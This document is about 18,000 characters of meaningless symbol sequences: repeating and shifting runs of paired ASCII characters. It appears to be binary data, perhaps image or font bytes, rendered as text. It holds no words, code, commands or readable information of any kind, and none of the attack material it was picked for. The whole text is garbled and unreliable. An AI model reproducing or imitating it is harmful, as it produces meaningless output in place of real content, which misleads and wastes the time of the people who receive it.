&&''(())wwvvuutt>>??@@AAKKJJIIHH''(())**vvuuttss??@@AABB^^]]\\[[WWXXYYZZFFEEDDCCooppqqrr..--,,++34455667]]\\[[ZZXXYYZZ[[EEDDCCBBppqqrrss--,,++**llmmnnooXXWWVVUUmmnnoopp{{zzyyxxMMNNOOPPPPOONNMMeeffgghh88776655}}~~ [[ZZYYXXyyzz{{||**++,,--ssrrqqppBBCCDDEEGGFFEEDD++,,--..rrqqppooCCDDEEFFZZYYXXWW[[\\]]^^BBAA@@??ssttuuvv**))((''789:;<==YYXXWWVV\\]]^^__AA@@??>>ttuuvvww))((''&&ppqqrrssTTSSRRQQqqrrsstt wwvvuuttQQRRSSTTLLKKJJIIiijjkkll44332211WWQQPPOO}}~~..//0011oonnmmllFFGGHHIICCBBAA@@//001122nnmmllkkGGHHIIJJVVUUTTSS__``aabb>>==<<;;wwxxyyzz&&%%$$##>>??@@AAUUTTSSRR``aabbcc==<<;;::xxyyzz{{%%$$##"" - -ttuuvvwwPPOONNMMuuvvwwxx - - - -ssrrqqpoUUVVWWXXHHGGFFEEmmnnoopp00//..--##$$%%NNMMLLKK22334455kkjjiihhJJKKLLMM??>>==7733445566jjiihhggKKLLMMNNRRQQPPOOccddeeff::998877{{||}}~~""!! BBCCDDEEQQPPOONNddeeffgg99887766||}}~~!!  xxyyzz{{LLKKJJIIyyzz{{|| nmlkkjjiYYZZ[[\\DDCCBBAAqqrrsstt,,++**))&&''(())JJIIHHGG  !!~~}}||66778899ggffeeddNNOOPPQQ66554433 !!""~~}}||{{778899::ffeeddccOOPPQQRRNNMMLLKKgghhiijj66554433FFGGHHIIMMLLKKJJhhiijjkk55443322||}}~~HHGGFFEE}}~~ihhggffe]]^^__``@@??>>==uuvvwwxx((''&&%% - - **++,,--FFEEDDCC - - ""##$$%%{{zzyyxx::;;<<==ccbbaa``RRSSTTUU221100//##$$%%&&zzyyxxww;;<<==>>bbaa``__SSTTUUVVJJIIHHGGkkllmmnn221100//JJKKLLMMIIHHGGFFllmmnnoo1100//..DDCCBBAAeddccbbaaabbccdd<<;;::99yyzz{{||$$##""!! - - ..//0011BBAA@@?? - - &&''(())wwvvuutt>>??@@AA__^^]]\\VVWWXXYY..--,,++''(())**vvuuttss??@@AABB^^]]\\[[WWXXYYZZFFEEDDCCooppqqrr..--,,++NNOOPPQQEEDDCCBBppqqrrss--,,++**@@??>>==a``__^^]eeffgghh88776655}}~~ 22334455>>==7766**++,,--ssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]**))((''++,,--..rrqqppooCCDDEEFFZZYYXXWW[[\\]]^^BBAA@@??ssttuuvv**))((''RSTUVWWXAA@@??>>ttuuvvww))((''&& - - <<;;::99##]\\[[ZZYiijjkkll443322116677==>>55443322..//0011oonnmmllFFGGHHIIWWVVUUTT^^__``aa&&%%$$##//001122nnmmllkkGGHHIIJJVVUUTTSS__``aabb>>==<<;;wwxxyyzz&&%%$$## ~~}}||{{XYYZZ[[\==<<;;::xxyyzz{{%%$$##"" - - 88776655$$%%&&''YXXWWVUTmmnnoopp00//..--??@@AABB1100//..22334455kkjjiihhJJKKLLMMSSRRQQPPbbccddee33445566jjiihhggKKLLMMNNRRQQPPOOccddeeff::998877{{||}}~~""!!  - - zzyyxxww\]]^^__`99887766||}}~~!!  44332211(())**++SRQQPPOOqqrrsstt,,++**)) ~~}}CCDDEEFF--,,++**  !!~~}}||66778899ggffeeddNNOOPPQQOONNMMLLffgghhii778899::ffeeddccOOPPQQRRNNMMLLKKgghhiijj66554433vvuuttss`aabbccd5544332200//..--,,--..//NNMMLLKKuuvvwwxx((''&&%% - - !!""##$$||{{zzyyGGHHIIJJ))((''&& - - ""##$$%%{{zzyyxx::;;<<==ccbbaa``RRSSTTUUKKJJIIHHjjkkllmm;;<<==>>bbaa``__SSTTUUVVJJIIHHGGkkllmmnn221100//rrqqkkjjdeeffggh1100//..,,++**))00112233JJIIHHGGyyzz{{||$$##""!! - - %%&&''((xxwwvvuuKKLLMMNN%%$$##&&''(())wwvvuutt>>??@@AA__^^]]\\VVWWXXYYGGFFEEDDnnooppqq??@@AABB^^]]\\[[WWXXYYZZFFEEDDCCooppqqrr..--,,++ - -iihhggffhiijjkkl--,,++**((''&&%%44556677FFEEDDCC}}~~ ))**++,,ttssrrqqOOPPQQWW**++,,--ssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu - -~~}}||{{CCDDEEFFZZYYXXWW[[\\]]^^BBAA@@??ssttuuvv**))(('' eeddccbbmnopqqrr))((''&& - - !!""##$$##""!!==>>??@@BBAA@@??--..//00ppoonnmmXXYYZZ[[..//0011oonnmmllFFGGHHIIWWVVUUTT^^__``aa??>>==<>==<<;;wwxxyyzz&&%%$$## aa``__^^ssttuuvv%%$$##"" - - $$%%&&'' AABBCCDD>>==<;:911223344llkkjjii\\]]^^__22334455kkjjiihhJJKKLLMMSSRRQQPPbbccddee;;::9988zz{{||}}vvuuttssKKLLMMNNRRQQPPOOccddeeff::998877{{||}}~~""!!  - - ]]\\[[ZZwwxxyyzz!!  (())**++EEFFGGHH87766554 ~~}}55667788hhggffee``aabbcc  !!~~}}||66778899ggffeeddNNOOPPQQOONNMMLLffgghhii77665544~~ - - rrqqponmOOPPQQRRNNMMLLKKgghhiijj66554433YYXXWWQQ{{||}}~~,,--..//IIJJKKLL43322110 - - !!""##$$||{{zzyy99::;;<>??@@``__^^]]hhiijjkk&&''(())wwvvuutt>>??@@AA__^^]]\\VVWWXXYYGGFFEEDDnnooppqq//..--,,hggffeedWWXXYYZZFFEEDDCCooppqqrr..--,,++$$%%&&''LLKKJJII~~44556677 QQWWXXYY,++**))())**++,,ttssrrqqAABBCCDD\\[[ZZYYqqrrsstt**++,,--ssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu++**))((dccbbaa`[[\\]]^^BBAA@@??ssttuuvv**))(('' - -(())**++HHGGFFEE - - !!""##}}||{{zz8899::;; - - ZZ[[\\]](''&&%%$--..//00ppoonnmmEEFFGGHHXXWWVVUUuuvvwwxx - -..//0011oonnmmllFFGGHHIIWWVVUUTT^^__``aa??>>==<>==<<;;wwxxyyzz&&%%$$## ,,--..//DDCCBBAA - - $$%%&&''yyxxwwvv<<==>>?? - - ^^__``aa$##"! 11223344llkkjjiiIIJJKKLLTTSSRRQQyyzz{{|| 22334455kkjjiihhJJKKLLMMSSRRQQPPbbccddee;;::9988zz{{||}}##""!! ##$$\[[ZZYYXccddeeff::998877{{||}}~~""!!  - - 00112233@@??>>== (())**++uuttssrr@@AABBCC bbccddee ~~}}55667788hhggffeeMMNNOOPPPPOONNMM}}~~~~}}||66778899ggffeeddNNOOPPQQOONNMMLLffgghhii77665544~~%%&&''((XWWVUTSRgghhiijj665544334455667777665544,,--..//qqppoonnDDEEFFGGffgghhii - - !!""##$$||{{zzyy99::;;<>??@@3322110000112233mmllkkjjHHIIJJKK~~}}||{{jjkkqqrr %%&&''((xxwwvvuu==>>??@@``__^^]]UUVVWWXXHHGGFFEEwwvvuutt>>??@@AA__^^]]\\VVWWXXYYGGFFEEDDnnooppqq//..--,,--..//00MMLLKKJJooppqqrr..--,,++AABBCCDD//..--,,~~44556677iihhggffLLMMNNOOzzyyxxwwssttuuvv))**++,,ttssrrqqAABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu++**))((11223344IIHHGGFFssttuuvv**))(('' - - !!""~~}}||{{EEFFGGHH++**))(( - - !!""##}}||{{zz8899::;;eeddccbbPPQQRRSS~~}}||{{zz8899::;;QQPPOONN - - !!""##$$||{{zzyy99::;;<>??MMLLKKJJ %%&&''((xxwwvvuu==>>??@@``__^^]]UUVVWWXXHHGGFFEEmmnnoopp00//..--12233445__^^]]\\VVWWXXYYGGFFEEDDnnooppqq//..--,,ZZ[[\\]]##""!! uuttssrr@@AABBCCIIHHGGFF))**++,,ttssrrqqAABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAqqrrsstt,,++**))5667789:[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu++**))(( ^^__``aaqqppoonnDDEEFFGGEEDDCCBB--..//00ppoonnmmEEFFGGHHXXWWVVUU]]^^__``@@??>>==uuvvwwxx((''&&%%;<==>>??WWVVUUTT^^__``aa??>>==<>11223344llkkjjiiIIJJKKLLTTSSRRQQaabbccdd<<;;::99yyzz{{||$$##""!!@@AABBCCSSRRQQPPbbccddee;;::9988zz{{||}}##""!! - - ffgghhiiiihhggffLLMMNNOO==776655 ~~}}55667788hhggffeeMMNNOOPPPPOONNMMeeffgghh88776655}}~~ DDEEFFGGOONNMMLLffgghhii77665544~~~~}}||{{jjkkqqrreeddccbbPPQQRRSS44332211!!""##$$||{{zzyy99::;;<>??@@``__^^]]UUVVWWXXHHGGFFEEmmnnoopp00//..--LLMMNNOOGGFFEEDDnnooppqq//..--,,vvuuttsswwxxyyzz - - ]]\\[[ZZXXYYZZ[[,,++**))))**++,,ttssrrqqAABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAqqrrsstt,,++**))PPQQRSTUCCBBAA@@rrssttuu++**))((  !!rrqqkkjj{{||}}~~ - - YYXXWWVV\\]]^^__((''&&%%--..//00ppoonnmmEEFFGGHHXXWWVVUU]]^^__``@@??>>==uuvvwwxx((''&&%% ~~}}VWWXXYYZ??>>==<>??@@``__^^]]UUVVWWXXHHGGFFEEmmnnoopp00//..--kkjjiihhfgghhiij//..--,,22334455YYXXWWQQ !!EEDDCCBBppqqrrss ~~}}AABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAqqrrsstt,,++**)) - - ggffeeddjkklmnop++**))((  !!~~}}||66778899PPOONNMM""##$$%%AA@@??>>ttuuvvww - - ||{{zzyyEEFFGGHHXXWWVVUU]]^^__``@@??>>==uuvvwwxx((''&&%% ccbbaa``qqrrsstt''&&%%$$ - - ""##$$%%{{zzyyxx::;;<<==LLKKJJII&&''(())==<<;;::xxyyzz{{xxwwvvuuIIJJKKLLTTSSRRQQaabbccdd<<;;::99yyzz{{||$$##""!! - - __^^]]\\uuvvwwxx##""!! - - &&''(())wwvvuutt>>??@@AAHHGGFFEE**++,,--99887766||}}~~ ttssrrqqMMNNOOPPPPOONNMMeeffgghh88776655}}~~ [[ZZYYXXyyzz{{||**++,,--ssrrqqppBBCCDDEEDDCCBBAA..//001155443322 - - ponmlkkjQQRRSSTTLLKKJJIIiijjkkll44332211WWQQPPOO}}~~..//0011oonnmmllFFGGHHII@@??>>==223344551100//..jiihhggfUUVVWWXXHHGGFFEEmmnnoopp00//..--##$$%%NNMMLLKK22334455kkjjiihhJJKKLLMM7766554466778899--,,++**feeddccbYYZZ[[\\DDCCBBAAqqrrsstt,,++**))&&''(())JJIIHHGG  !!~~}}||66778899ggffeeddNNOOPPQQ33221100::;;<<==))((''&&baa``__^]]^^__``@@??>>==uuvvwwxx((''&&%% - - **++,,--FFEEDDCC - - ""##$$%%{{zzyyxx::;;<<==ccbbaa``RRSSTTUU//..--,,>>??@@AA%%$$##""^]]\\[[Zaabbccdd<<;;::99yyzz{{||$$##""!! - - ..//0011BBAA@@?? - - &&''(())wwvvuutt>>??@@AA__^^]]\\VVWWXXYY++**))((BBCCDDEE!! ##$$%%&&ZYYXXWWVeeffgghh88776655}}~~ 22334455>>==7766**++,,--ssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]''&&%%$$~~}}||FFGGHHII''(())**UTSRQQPPiijjkkll443322116677==>>55443322..//0011oonnmmllFFGGHHIIWWVVUUTT^^__``aa##{{zzyyxxJJKKLLMM++,,--..OONNMMLLmmnnoopp00//..--??@@AABB1100//..22334455kkjjiihhJJKKLLMMSSRRQQPPbbccddeewwvvuuttNNOOPPQQ//001122KKJJIIHHqqrrsstt,,++**)) ~~}}CCDDEEFF--,,++**  !!~~}}||66778899ggffeeddNNOOPPQQOONNMMLLffgghhiissrrqqppRRSSTTUU33445566GGFFEEDDuuvvwwxx((''&&%% - - !!""##$$||{{zzyyGGHHIIJJ))((''&& - - ""##$$%%{{zzyyxx::;;<<==ccbbaa``RRSSTTUUKKJJIIHHjjkkllmmoonnmmllVVWWXXYY - -77==>>??CCBBAA@@yyzz{{||$$##""!! - - %%&&''((xxwwvvuuKKLLMMNN%%$$##&&''(())wwvvuutt>>??@@AA__^^]]\\VVWWXXYYGGFFEEDDnnooppqq kkjjiihhZZ[[\\]] @@AABBCC??>>==<;}}~~ ))**++,,ttssrrqqOOPPQQWW**++,,--ssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu - - - -ggffeedd^^__``aaDDEEFFGG:9877665--..//00ppoonnmmXXYYZZ[[..//0011oonnmmllFFGGHHIIWWVVUUTT^^__``aa??>>==<>??@@``__^^]]hhiijjkk&&''(())wwvvuutt>>??@@AA__^^]]\\VVWWXXYYGGFFEEDDnnooppqq//..--,,##SSRRQQPPrrssttuu]]^^__``%$$##"! ))**++,,ttssrrqqAABBCCDD\\[[ZZYYqqrrsstt**++,,--ssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu++**))(($$%%&&''OONNMMLLvvwwxxyy~~}}||aabbccdd--..//00ppoonnmmEEFFGGHHXXWWVVUUuuvvwwxx - -..//0011oonnmmllFFGGHHIIWWVVUUTT^^__``aa??>>==<>==<<$$%%&&''jjiihhggvvwwxxyy %%&&''((xxwwvvuu==>>??@@``__^^]]UUVVWWXXHHGGFFEEwwvvuutt>>??@@AA__^^]]\\VVWWXXYYGGFFEEDDnnooppqq//..--,,==>>??@@;;::9988(())**++ffeeddcczz{{||}} - - ))**++,,ttssrrqqAABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAssrrqqppBBCCDDEE[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu++**))((AABBCCDD77665544,,--..//bbaa``__~~--..//00ppoonnmmEEFFGGHHXXWWVVUU]]^^__``@@??>>== !"##$$%oonnmmllFFGGHHIIWWVVUUTT^^__``aa??>>==<=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:978787878878787776565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklkkkkkkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSRQRQQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABA@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:978787878777878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQQQQQQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:978787878787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqpopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQQRQRQRQQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCBABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:978787878787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmlklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQQQQQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:978787878787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutststststststsrqrqrqrqrqpopopopopopopoponmnmnmnmlklklkkklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:977777787787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmkkklklkllklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:987878787787877776565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvutststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmklklklkllkkkkkkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:987878787778787876565656565656565434343434343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmklklklklklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQQQQQQRRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:9:9878787878787878765656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmklklklklklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSQRQRQRQRRQRQRQQQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmklklklklklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababa`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSQRQRQRQRQQQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmklklkkkkklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSQRQRQRQRQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9777778788787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmkklklklkklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcbabababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878788787777765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{zyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklkkkkkkklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878788787878765656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefedcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSQQQQQQRQQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHG